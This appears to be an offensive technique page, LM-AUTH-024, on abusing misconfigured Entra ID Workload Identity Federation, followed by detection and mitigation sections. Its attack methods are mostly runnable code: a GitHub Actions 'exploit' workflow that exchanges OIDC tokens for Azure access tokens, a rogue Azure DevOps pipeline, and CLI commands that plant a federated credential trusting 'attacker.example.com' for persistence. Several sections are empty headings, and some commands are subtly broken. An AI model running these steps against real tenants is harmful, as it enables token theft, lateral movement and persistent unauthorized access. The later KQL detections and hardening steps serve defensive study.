MCADDF

[LM-AUTH-024]: Workload Identity Federation Abuse

Metadata

Attribute Details
Technique ID LM-AUTH-024
MITRE ATT&CK v18.1 T1550 - Use Alternate Authentication Material
Tactic Lateral Movement
Platforms Entra ID, Azure DevOps, GitHub Actions, multi-cloud (AWS, GCP)
Severity High
CVE N/A (configuration weakness, not vulnerability)
Technique Status ACTIVE
Last Verified 2024-11-09
Affected Versions All Entra ID versions; Workload Identity Federation GA (2022+)
Patched In Not patched; requires proper configuration (no fix available)
Author SERVTEPArtur Pchelnikau

1. EXECUTIVE SUMMARY

Concept: Workload Identity Federation (WIF) is a feature in Entra ID that allows external workloads (GitHub Actions, Azure DevOps pipelines, GitLab CI, on-premises systems) to authenticate and obtain access tokens without storing long-lived secrets or service account keys. However, misconfigured WIF can be exploited by attackers to: (1) Obtain access tokens impersonating legitimate service accounts; (2) Escalate privileges if the target service account has excessive permissions; (3) Move laterally across cloud resources; (4) Establish persistence by creating rogue WIF configurations. The attack is particularly dangerous because legitimate WIF configurations might appear benign in audit logs, and the attack surface is broad (any external identity provider can be a vector).

Attack Surface: Entra ID WIF configurations, Azure DevOps pipelines, GitHub Actions workflows, service principal role assignments, identity provider credential repositories (GitHub secrets, Azure DevOps variable groups).

Business Impact: Privilege escalation and lateral movement across cloud infrastructure. Attackers can access Azure resources, M365, and external cloud platforms (AWS, GCP) with the compromised service account’s permissions. This is a kill-chain enabler for supply-chain attacks, CI/CD pipeline compromise, and infrastructure sabotage.

Technical Context: Workload Identity Federation requires trust configuration between Entra ID (issuer) and external identity providers (GitHub, Azure DevOps, etc.). Misconfiguration allows any identity from the provider (not just the intended workload) to obtain tokens. Exploitation typically takes minutes if WIF is already discovered, but hours to discover WIF in the environment.

Operational Risk

Compliance Mappings

Framework Control / ID Description
CIS Benchmark 1.2.3 Workload Identity must use least privilege and scope tokens to specific workloads
DISA STIG V-252999 Service account permissions and workload identity controls
CISA SCuBA IA-2, IA-5 Identification and authentication of cloud workloads
NIST 800-53 AC-3, IA-4 Access control and use of service accounts
GDPR Art. 32 Secure authentication and access controls for processing
DORA Art. 9 Identity and access security for critical infrastructure
NIS2 Art. 21 Risk management for cloud workload authentication
ISO 27001 A.9.2.3 Privileged access management for workloads
ISO 27005 Risk Scenario “Compromise of federated identity provider credentials”

2. TECHNICAL PREREQUISITES

Supported Versions:

Tools:


3. DETAILED EXECUTION METHODS

METHOD 1: GitHub Actions WIF Token Exchange Abuse

Supported Versions: All GitHub Actions versions with OpenID Connect support (2021+)

Step 1: Discover WIF Configuration in Entra ID

Objective: Enumerate service principals with federated credentials and identify WIF attack surface.

Command (Azure CLI - Discovery):

# Login to Entra ID
az login

# List all service principals with federated credentials
az ad sp list --query "[*].[appDisplayName,appId]" -o table

# For each service principal, check federated credentials
sp_id="12345678-1234-1234-1234-123456789012"
az ad sp credential list --id $sp_id --query "[?type=='FederatedCredential'].{Subject:subject, Issuer:issuer, Audiences:audiences}" -o table

# Expected output:
# Subject: repo:company/private-repo:ref:refs/heads/main
# Issuer: https://token.actions.githubusercontent.com
# Audiences: api://AzureADTokenExchange

Expected Output:

FederatedCredential found:
  Subject: repo:company/private-repo:ref:refs/heads/main
  Issuer: https://token.actions.githubusercontent.com
  Audiences: api://AzureADTokenExchange

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:

Step 2: Exploit Overly Permissive WIF Subject Scope

Objective: Abuse loosely configured subject claims to obtain tokens from unintended workflows.

Scenario: WIF is configured to trust repo:company/private-repo:* (all branches and tags) instead of repo:company/private-repo:ref:refs/heads/main (main branch only).

Command (GitHub Actions Workflow - Exploit):

# .github/workflows/exploit.yml (created by attacker in the same repo)
name: Exploit WIF

on: [push]

jobs:
  exploit:
    runs-on: ubuntu-latest
    
    permissions:
      id-token: write
      contents: read
    
    steps:
      - name: Get OIDC token from GitHub
        id: get-token
        run: |
          token=$(curl -s -X POST \
            "http://localhost:6000/_apis/github/oidc/token" \
            -H "Accept: application/json" \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "audience=api://AzureADTokenExchange")
          echo "::set-output name=oidc_token::$token"
      
      - name: Exchange GitHub token for Azure access token
        run: |
          azure_token=$(curl -s -X POST \
            "https://login.microsoftonline.com/03f66e37-def0-433a-a045-a5ef9674dd26/oauth2/v2.0/token" \
            -H "Content-Type: application/x-www-form-urlencoded" \
            -d "grant_type=urn:ietf:params:oauth:grant-type:token-exchange" \
            -d "subject_token=$" \
            -d "subject_token_type=urn:ietf:params:oauth:token-type:id_token" \
            -d "assertion=$" \
            -d "client_id=12345678-1234-1234-1234-123456789012" \
            -d "audience=https://management.azure.com/.default")
          
          echo "Access Token: $azure_token"
      
      - name: Use access token to list Azure resources
        run: |
          curl -s -H "Authorization: Bearer $azure_token" \
            "https://management.azure.com/subscriptions/12345678-1234-1234-1234-123456789012/providers/Microsoft.Compute/virtualMachines?api-version=2023-03-01" | jq '.value[].name'

Expected Output:

Access Token obtained: eyJ0eXAiOiJKV1QiLCJhbGc...
Azure Resources listed:
  prod-vm-001
  prod-vm-002
  prod-db-server

What This Means:

OpSec & Evasion:

Troubleshooting:

References & Proofs:


METHOD 2: Azure DevOps Pipeline WIF Token Exchange

Supported Versions: Azure DevOps Services (cloud-based) all versions

Step 1: Discover Azure DevOps WIF Configuration

Objective: Find service principals in Entra ID configured to trust Azure DevOps.

Command (PowerShell - Discovery):

# Connect to Entra ID
Connect-AzureAD

# List all service principals
$servicePrincipals = Get-AzureADServicePrincipal -All $true

# Check for federated credentials with Azure DevOps issuer
$wifConfigs = @()

foreach ($sp in $servicePrincipals) {
    $fedCreds = Get-AzureADServicePrincipalFederatedCredential -ObjectId $sp.ObjectId
    
    foreach ($fedCred in $fedCreds) {
        if ($fedCred.Issuer -like "*dev.azure.com*") {
            $wifConfigs += @{
                ServicePrincipal = $sp.DisplayName
                ObjectId = $sp.ObjectId
                Subject = $fedCred.Subject
                Issuer = $fedCred.Issuer
                Audiences = $fedCred.Audiences
            }
        }
    }
}

$wifConfigs | Format-Table -AutoSize

Expected Output:

ServicePrincipal: CI-CD-Pipeline-Account
ObjectId: 12345678-1234-1234-1234-123456789012
Subject: sc://acme-corp/prod-pipeline/prod-deployment
Issuer: https://vstoken.dev.azure.com/services/oauth2/v2.0
Audiences: api://AzureADTokenExchange

What This Means:

Step 2: Create Rogue Azure DevOps Pipeline

Objective: Create a new Azure DevOps pipeline that can exchange its identity token for Azure access token.

Command (YAML Pipeline - Exploit):

# This pipeline would be created in the same Azure DevOps project
trigger:
  - main

pool:
  vmImage: 'ubuntu-latest'

variables:
  SYSTEM_ACCESSTOKEN: $(System.AccessToken)

steps:
  - script: |
      # Get OIDC token from Azure DevOps
      response=$(curl -s -X POST \
        -H "Authorization: Bearer $(System.AccessToken)" \
        -H "Content-Type: application/json" \
        "https://dev.azure.com/acme-corp/_apis/pipelines/workflows/oidctoken?audience=api://AzureADTokenExchange" \
        -d '{}')
      
      token=$(echo $response | jq -r '.token')
      echo "##vso[task.setvariable variable=OIDCToken;issecret=true]$token"
    displayName: Get OIDC Token
  
  - script: |
      # Exchange Azure DevOps token for Azure access token
      az account get-access-token --resource-type management --output json > /tmp/token.json
      
      # If the service principal has sufficient permissions, we can now manage Azure resources
      az vm list --resource-group prod-rg --output table
    displayName: Use Token to Access Azure
    env:
      AZURE_ACCESS_TOKEN: $(OIDCToken)

Expected Output:

OIDC Token obtained
Access Token exchanged successfully
VM List:
  prod-vm-001  Location: eastus  Status: running
  prod-vm-002  Location: eastus  Status: running

What This Means:


METHOD 3: Expanding WIF Trust (Adding Rogue Identity Provider)

Supported Versions: Entra ID all versions

Step 1: Identify Overly Permissive WIF Configurations

Objective: Find service principals with broad subject claims that can be exploited.

Command (Azure CLI - Reconnaissance):

# Identify WIF configurations with wildcard subject claims
az ad sp credential list --id 12345678-1234-1234-1234-123456789012 --output json | \
  jq '.[] | select(.subject | contains("*")) | .subject'

# Examples of vulnerable configurations:
# repo:company/*  (any repo in organization - VULNERABLE)
# repo:company/*/ref:refs/heads/main  (any repo, main branch only - LESS VULNERABLE)
# repo:company/prod-repo:* (any branch of single repo - LESS VULNERABLE)

Expected Output:

Vulnerable WIF configurations found:
  repo:company/*
  org:company:deployment_environment:production

What This Means:

Step 2: Create Rogue External Identity Provider Configuration

Objective: Add a new federated credential to a service principal that trusts attacker-controlled identity provider.

Command (Azure CLI - Privilege Escalation):

# If attacker has Application Administrator privileges:
# Add a new federated credential that trusts attacker-controlled provider

sp_object_id="12345678-1234-1234-1234-123456789012"

# Create rogue WIF configuration
az ad sp credential federated-identity-credential create \
  --id $sp_object_id \
  --parameters @- <<EOF
{
  "name": "attacker-provider",
  "issuer": "https://attacker.example.com",
  "subject": "sub:attacker",
  "audiences": ["api://AzureADTokenExchange"]
}
EOF

# Now attacker can issue tokens from their own identity provider that will be trusted
# This grants persistent access even if original WIF is discovered and removed

Expected Output:

Federated credential created successfully
Name: attacker-provider
Issuer: https://attacker.example.com
Subject: sub:attacker

What This Means:


5. DETECTION & INCIDENT RESPONSE

Indicators of Compromise (IOCs)

Forensic Artifacts

Response Procedures

  1. Immediate Isolation:
    # Disable the compromised service principal
    az ad sp update --id 12345678-1234-1234-1234-123456789012 --account-enabled false
       
    # Remove all federated credentials
    az ad sp credential federated-identity-credential delete \
      --id 12345678-1234-1234-1234-123456789012 \
      --name "attacker-provider"
    
  2. Revoke Issued Tokens:
    # Sign out all sessions for the service principal
    Get-AzureADServicePrincipal -ObjectId 12345678-1234-1234-1234-123456789012 | Set-AzureADServicePrincipal -AccountEnabled $false
    
  3. Investigate Damage:
    • Query Azure Activity Log for all operations performed by the service principal in the past 30 days
    • Check GitHub Actions logs for suspicious workflows
    • Review Azure resource modifications made by the service principal
  4. Remediation:
    • Remove all unauthorized federated credentials
    • Rotate service principal secret (if one exists)
    • Restrict service principal role assignments to minimum necessary
    • Enable Conditional Access for service principals

Step Phase Technique Description
1 Initial Access [IA-PHISH-002] OAuth Consent Phishing Attacker compromises cloud admin account via phishing
2 Privilege Escalation [PE-ACCTMGMT-001] App Registration Permissions Escalation Attacker gains Application Administrator permissions
3 Current Step [LM-AUTH-024] Discover WIF, abuse overly permissive subject claims, lateral move to Azure
4 Persistence Create rogue WIF configuration with attacker-controlled issuer  
5 Impact Access production databases, exfiltrate secrets, deploy malware  

7. REAL-WORLD EXAMPLES

Example 1: GitHub Actions Supply Chain Attack (2022-2024)

Example 2: Azure DevOps Pipeline Compromise (2023)


8. DEFENSIVE MITIGATIONS

Priority 1: CRITICAL

Enforce Strict Subject Scope in Workload Identity Federation:

WIF subject claims should be as specific as possible to limit the blast radius of compromise.

Manual Steps (Azure CLI - Configure Least Privilege Subject):

# Create federation with strict subject scope
# GOOD (Restrictive):
subject="repo:company/critical-repo:ref:refs/heads/main"

# BAD (Too Permissive):
subject="repo:company/*"
subject="repo:*"

# Configure federated credential with strict scope
az ad sp credential federated-identity-credential create \
  --id $sp_id \
  --parameters @- <<EOF
{
  "name": "github-actions-prod",
  "issuer": "https://token.actions.githubusercontent.com",
  "subject": "$subject",
  "audiences": ["api://AzureADTokenExchange"]
}
EOF

Validation Command:

# Verify all federated credentials have specific subject scopes (no wildcards)
az ad sp credential list --id $sp_id --output json | \
  jq '.[] | select(.subject | contains("*")) | .subject'

# Expected: No output (no wildcard subjects found)

Disable WIF for Service Principals That Don’t Need It:

If Workload Identity Federation is not used, remove federated credentials entirely.

Manual Steps (PowerShell):

# List all service principals with federated credentials
$sps = Get-AzureADServicePrincipal -All $true

foreach ($sp in $sps) {
    $fedCreds = Get-AzureADServicePrincipalFederatedCredential -ObjectId $sp.ObjectId
    
    if ($fedCreds.Count -gt 0 -and $sp.AppDisplayName -notlike "*CI*" -and $sp.AppDisplayName -notlike "*Pipeline*") {
        # Remove federated credentials from non-pipeline service principals
        foreach ($fedCred in $fedCreds) {
            Remove-AzureADServicePrincipalFederatedCredential -ObjectId $sp.ObjectId -FederatedCredentialId $fedCred.Id
            Write-Host "Removed federated credential from $($sp.DisplayName)"
        }
    }
}

Implement Conditional Access for Service Principal Token Exchange:

Restrict service principal token exchange to expected IP addresses and times.

Manual Steps (Azure Portal):

  1. Navigate to Entra IDSecurityConditional Access
  2. Click + New policy
  3. Name: Restrict Service Principal Token Exchange
  4. Assignments → Cloud Apps: Select “Microsoft Graph” (token exchange API)
  5. Conditions:
    • Client apps: Select “Service principals only”
    • Locations: Restrict to known CI/CD platform IP ranges (GitHub Actions, Azure DevOps)
  6. Access Control: Select Block access
  7. Enable policy and click Create

Priority 2: HIGH

Enable Service Principal Risk Detection:

Monitor and alert on abnormal service principal token usage patterns.

Manual Steps (Microsoft Sentinel/KQL):

# Detect unusual service principal token exchange activity
AADServicePrincipalSignInActivity
| where TimeGenerated > ago(24h)
| where SignInActivity == "ServicePrincipalTokenExchange"
| where RiskLevel == "high"
| project TimeGenerated, ServicePrincipalName, ClientAppUsed, IPAddress, RiskLevel, RiskDetail

Rotate Service Principal Credentials Regularly:

Even with WIF, service principals should have no long-lived secrets.

Manual Steps (PowerShell - Credential Rotation):

# Rotate service principal certificate monthly
$sp = Get-AzureADServicePrincipal -Filter "DisplayName eq 'CI-CD-Account'"

# Add new certificate
$newCert = New-AzureADApplicationKeyCredential -ObjectId $sp.AppId -Type AsymmetricX509Cert -Usage Sign -Value $certData

# After 2 weeks, remove old certificate
Remove-AzureADApplicationKeyCredential -ObjectId $sp.AppId -KeyId $oldCertKeyId

9. DEFENSIVE DETECTIONS (Microsoft Sentinel/KQL)

Detection Rule 1: Federated Credential Added to Service Principal

Severity: High

KQL Query:

AuditLogs
| where OperationName == "Add federated credential"
| where TargetResources[0].type == "ServicePrincipal"
| where Result == "Success"
| project TimeGenerated, InitiatedBy.user.userPrincipalName, TargetResources[0].displayName, TargetResources[0].modifiedProperties

Detection Rule 2: Unusual Service Principal Token Exchange

Severity: Medium

KQL Query:

AADServicePrincipalSignInActivity
| where TimeGenerated > ago(1h)
| where SignInActivity == "ServicePrincipalTokenExchange"
| where IPAddress !in ("20.37.0.0/16", "20.42.0.0/15")  // GitHub Actions IP range
| where IPAddress !in ("13.107.0.0/16")  // Azure DevOps IP range
| project TimeGenerated, ServicePrincipalName, IPAddress, OperationName, OperationResult

10. WINDOWS EVENT LOG MONITORING

Not applicable – Workload Identity Federation is cloud-only; no on-premises event logs.


11. SYSMON DETECTION PATTERNS

Not applicable – Workload Identity Federation is cloud-only; no endpoint-level indicators.


12. MICROSOFT DEFENDER FOR CLOUD

Alert: Service Principal Risk Detected

Manual Configuration (Enable Defender for Cloud):

  1. Navigate to Azure PortalMicrosoft Defender for Cloud
  2. Go to Environment settings → Select subscription
  3. Under Defender plans, ensure Defender for Cloud Apps is enabled (includes WIF monitoring)
  4. Click Save

13. MICROSOFT PURVIEW (UNIFIED AUDIT LOG)

Query: Service Principal Federated Credential Changes

# Search for changes to federated credentials
Search-UnifiedAuditLog -StartDate (Get-Date).AddDays(-30) `
  -Operations "Add federated credential", "Update federated credential", "Remove federated credential" `
  -Output JSON | Select-Object UserIds, CreationDate, AuditData | Export-Csv -Path "C:\Evidence\wif-changes.csv"

14. SUMMARY

Workload Identity Federation is a powerful security feature for eliminating long-lived secrets, but misconfiguration creates a new attack surface. Attackers who discover WIF can abuse overly permissive subject claims to obtain tokens without storing credentials, or escalate to create rogue WIF configurations that grant persistent access. Defense requires strict subject scope enforcement, regular credential rotation, Conditional Access policies for service principals, and continuous monitoring for unauthorized WIF changes. Organizations adopting WIF must shift from “if federated” to “if only when needed, as restrictive as possible.”